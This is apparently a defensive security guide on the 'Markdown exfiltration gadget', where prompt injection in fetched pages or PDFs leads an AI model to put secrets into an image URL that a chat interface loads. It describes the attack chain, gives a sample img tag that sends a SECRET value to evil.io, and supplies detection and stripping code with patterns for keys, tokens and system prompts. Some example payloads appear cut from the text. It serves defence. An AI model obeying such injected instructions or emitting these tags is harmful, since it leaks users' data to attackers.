Your AI assistant renders Markdown in a chat interface. A prompt injection embedded in a fetched web page or a PDF instructs the model to include the following in its response: . When the chat UI renders that Markdown image tag, the browser fires a GET request to the attacker’s server — carrying the sensitive data in the query parameter. The user sees a broken image icon; the server operator sees the exfiltrated data in their access logs. This technique, sometimes called a “Markdown exfiltration gadget,” requires two things to work: a prompt injection that instructs the model to produce the image tag, and a chat UI that auto-renders Markdown and auto-loads images. Defenders break the chain by detecting the injection, stripping outbound URLs from model output, and disabling auto-rendering of external images.
Common causes
1. Markdown rendering is enabled in the chat interface without URL sanitization
The most common enabler. Markdown rendering is a legitimate feature, but it causes the browser to automatically issue GET requests for every image tag the model outputs, including attacker-constructed ones.
How to spot it: Open browser DevTools Network tab during a chat session and observe what outbound requests are made when the assistant returns a response. Any GET request to a non-application domain that the user did not explicitly trigger is suspicious.
2. The model was instructed by injection to produce the exfiltration URL
The exfiltration does not happen without a prior injection step. The injection typically arrives via indirect channels — fetched pages, PDFs, or pasted content — and instructs the model to embed context variables into an image URL.
How to spot it: Search the model’s raw output (before rendering) for Markdown image syntax: 
Decoding the parameter reveals systemPrompt\n — confirming exfiltration was intended.
How to spot it: Your URL scanner must extract and decode query parameters (URL-decode and Base64-decode) before checking for sensitive patterns, not just check the raw URL string.
5. Exfiltration via CSS background-image or link href
Some Markdown renderers also process HTML-in-Markdown, allowing CSS or anchor tags with external URLs:
<img src="https://evil.io?data=SECRET" style="display:none">
How to spot it: Check whether your Markdown renderer processes inline HTML. If it does, any src, href, or CSS url() value in model output can trigger an outbound request.
6. The exfiltration URL appears in a tool call argument rather than prose
The model generates a tool call (e.g., fetch_url) with the attacker’s URL as the argument, encoding data in path or query parameters. This bypasses Markdown rendering defenses entirely.
How to spot it: Log all tool call arguments. Scan them for URLs with suspicious query parameters, especially parameters whose values match the length and entropy of known secrets or session data.
Shortest path to fix
Step 1: Scan model output for outbound URLs before rendering
import { URL } from "url";
const ALLOWED_IMAGE_DOMAINS = new Set(["cdn.yourapp.com", "assets.yourapp.com"]);
function extractUrls(markdownText: string): string[] {
const urlPattern = /https?:\/\/[^\s\)"']+/g;
return markdownText.match(urlPattern) ?? [];
}
function containsExternalImage(markdown: string): boolean {
const imgPattern = /!\[.*?\]\((https?:\/\/[^)]+)\)/g;
let match;
while ((match = imgPattern.exec(markdown)) !== null) {
try {
const hostname = new URL(match[1]).hostname;
if (!ALLOWED_IMAGE_DOMAINS.has(hostname)) {
return true; // external image found
}
} catch {
return true; // malformed URL — flag it
}
}
return false;
}
const rawOutput = modelResponse.choices[0].message.content ?? "";
if (containsExternalImage(rawOutput)) {
logger.error({ event: "exfiltration_gadget_detected", preview: rawOutput.slice(0, 400) });
// Strip the image tags before rendering
}
Step 2: Strip all external image tags from model output
function stripExternalImages(markdown: string, allowedDomains: Set<string>): string {
return markdown.replace(/!\[([^\]]*)\]\((https?:\/\/[^)]+)\)/g, (match, alt, url) => {
try {
const hostname = new URL(url).hostname;
if (allowedDomains.has(hostname)) return match; // keep allowed images
} catch { /* fall through */ }
return `[image removed: ${alt}]`; // replace with safe placeholder
});
}
Step 3: Enforce a Content Security Policy that blocks unexpected image sources
// Express middleware example
app.use((req, res, next) => {
res.setHeader(
"Content-Security-Policy",
"default-src 'self'; img-src 'self' cdn.yourapp.com data:; script-src 'self';"
);
next();
});
This ensures the browser refuses to load images from domains not in the img-src list, even if the Markdown renderer passes them through.
Step 4: Disable inline HTML in your Markdown renderer
import { marked } from "marked";
// Disable HTML so <img src=...> tags cannot be injected via Markdown
marked.setOptions({ mangle: false, headerIds: false });
const renderer = new marked.Renderer();
renderer.html = () => ""; // strip inline HTML entirely
const safeHtml = marked(rawOutput, { renderer });
Step 5: Scan Base64-encoded query parameters
function hasEncodedExfiltration(url: string): boolean {
try {
const parsed = new URL(url);
for (const [, value] of parsed.searchParams) {
const decoded = Buffer.from(value, "base64").toString("utf8");
if (/api.?key|secret|token|password|system.?prompt/i.test(decoded)) {
return true;
}
}
} catch { /* not a valid URL */ }
return false;
}
Step 6: Log all URLs present in model output for forensics
function logOutputUrls(output: string, sessionId: string): void {
const urls = extractUrls(output);
if (urls.length > 0) {
logger.info({ event: "model_output_urls", sessionId, urls });
}
}
Prevention
- Implement a strict Content Security Policy that limits
img-srcto known CDN domains — this breaks the browser-side GET request even if the Markdown tag is rendered. - Scan all model output for external URLs before rendering and either strip or allowlist them.
- Disable inline HTML in your Markdown renderer; prefer a purpose-built sanitizer like DOMPurify with a strict allowlist.
- Treat all indirect content sources (fetched URLs, PDFs, uploaded files) as potential injection vectors and scan them before they enter the model context.
- Log all URLs present in model output and retain logs for 30 days to support retrospective incident analysis.
- Test your application by manually inserting
into model output and confirming no GET request fires in the browser. - Extend URL scanning to tool call arguments — not just prose output — because the same exfiltration technique applies to fetch-type tools.
- Alert on any model output containing more than a configured number of external URLs per session (e.g., more than 2 is anomalous for most applications).
FAQ
Q: Does this attack work in server-side rendering where the browser is not involved? A: If the server renders Markdown and stores the HTML in a database or sends it in an email with image loading enabled, yes — the GET request fires from the server or email client rather than the user’s browser. The same URL scanning mitigation applies.
Q: My application does not render Markdown — am I safe? A: If your application returns raw model text (no rendering), images are not loaded. However, a tool-call-based exfiltration can still occur if the model calls a fetch-type tool with the attacker’s URL. Always scan tool call arguments as well.
Q: Can the CSP header alone stop this? A: A properly configured CSP prevents the browser from loading external images but does not prevent the model from generating the malicious tag. You still need output scanning so you can detect and alert on the attempt even when the CSP blocks execution.
Q: Is this a known, documented attack? A: Yes. The Markdown exfiltration gadget has been demonstrated publicly in research by multiple security researchers since 2023. It is listed in the OWASP LLM Top 10 under LLM02 (Insecure Output Handling). Treat it as a known, reproducible vulnerability class.
Related
- Agent Leaks an API Key in Its Output
- Indirect Prompt Injection via Fetched Web Page
- Prompt Injection Embedded Inside a PDF
- Injection Bypasses the System Prompt
- Tool Output Treated as Trusted User Input
- Secret Accidentally Included in Prompt Context
- AI Follows Malicious Instructions Hidden in an Uploaded File
- Injection Carried Inside Search-Result Snippets